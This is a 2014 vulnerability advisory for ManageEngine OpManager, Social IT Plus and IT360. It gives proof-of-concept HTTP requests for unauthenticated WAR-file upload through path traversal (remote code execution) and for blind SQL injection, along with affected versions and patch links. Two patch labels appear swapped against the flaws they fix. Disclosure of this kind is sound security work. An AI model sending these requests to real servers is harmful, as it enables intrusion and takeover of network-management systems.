107 lines
No EOL
4.1 KiB
Text
107 lines
No EOL
4.1 KiB
Text
>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
|
|
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
|
|
==========================================================================
|
|
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last
|
|
updated: 09/11/2014
|
|
|
|
>> Background on the affected products:
|
|
"ManageEngine OpManager is a network and data center infrastructure
|
|
management software that helps large enterprises, service providers
|
|
and SMEs manage their data centers and IT infrastructure efficiently
|
|
and cost effectively. Automated workflows, intelligent alerting
|
|
engines, configurable discovery rules, and extendable templates enable
|
|
IT teams to setup a 24x7 monitoring system within hours of
|
|
installation."
|
|
|
|
"Social IT Plus offers a cascading wall that helps IT folks to start
|
|
discussions, share articles and videos easily and quickly. Other team
|
|
members can access it and post comments and likes on the fly."
|
|
|
|
"Managing mission critical business applications is now made easy
|
|
through ManageEngine IT360. With agentless monitoring methodology,
|
|
monitor your applications, servers and databases with ease. Agentless
|
|
monitoring of your business applications enables you high ROI and low
|
|
TOC. With integrated network monitoring and bandwidth utilization,
|
|
quickly troubleshoot any performance related issue with your network
|
|
and assign issues automatically with ITIL based ServiceDesk
|
|
integration."
|
|
|
|
|
|
>> Technical details:
|
|
|
|
(#1 and #2 were previously released in September, see [2])
|
|
|
|
#3
|
|
Vulnerability: Remote code execution via file upload (unauthenticated
|
|
on OpManager and Social IT)
|
|
CVE-2014-7866
|
|
Constraints: no authentication needed for OpManager and Social IT;
|
|
authenticated in IT360
|
|
|
|
a)
|
|
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
|
|
<... WAR file payload ...>
|
|
|
|
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
|
|
IT360 10.3/10.4; Social IT 11.0
|
|
|
|
b)
|
|
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
|
|
<... WAR file payload ...>
|
|
|
|
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
|
|
IT360 10.3/10.4; Social IT 11.0
|
|
|
|
|
|
#4
|
|
Vulnerability: Blind SQL injection (unauthenticated)
|
|
CVE-2014-7868
|
|
Constraints: no authentication needed for OpManager and Social IT;
|
|
authenticated in IT360
|
|
|
|
a)
|
|
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
|
|
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
|
|
Affected versions: Unknown, at least the current versions (OpManager
|
|
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
|
|
|
|
b)
|
|
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi]
|
|
--> runs direct query in db!
|
|
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
|
|
Affected versions: Unknown, at least the current versions (OpManager
|
|
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
|
|
|
|
|
|
>> Fix:
|
|
Upgrade to OpManager 11.3 or 11.4, then install patches [B] and [C].
|
|
This patch can be applied to all the applications but only for the
|
|
latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360
|
|
10.4).
|
|
The fix will be included in OpManager version 11.5 which should be
|
|
released sometime in late November or December 2014. No indication was
|
|
given for when fixed versions of IT360 and Social IT Plus will be
|
|
released.
|
|
|
|
[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
|
|
Resolves #3
|
|
|
|
[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
|
|
Resolves #4
|
|
|
|
|
|
|
|
[1]
|
|
http://seclists.org/fulldisclosure/2014/Aug/55
|
|
http://seclists.org/fulldisclosure/2014/Aug/75
|
|
http://seclists.org/fulldisclosure/2014/Aug/88
|
|
http://seclists.org/fulldisclosure/2014/Sep/1
|
|
http://seclists.org/fulldisclosure/2014/Sep/110
|
|
http://seclists.org/fulldisclosure/2014/Nov/12
|
|
http://seclists.org/fulldisclosure/2014/Nov/18
|
|
|
|
[2]
|
|
http://seclists.org/fulldisclosure/2014/Sep/110
|
|
|
|
[3]
|
|
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt |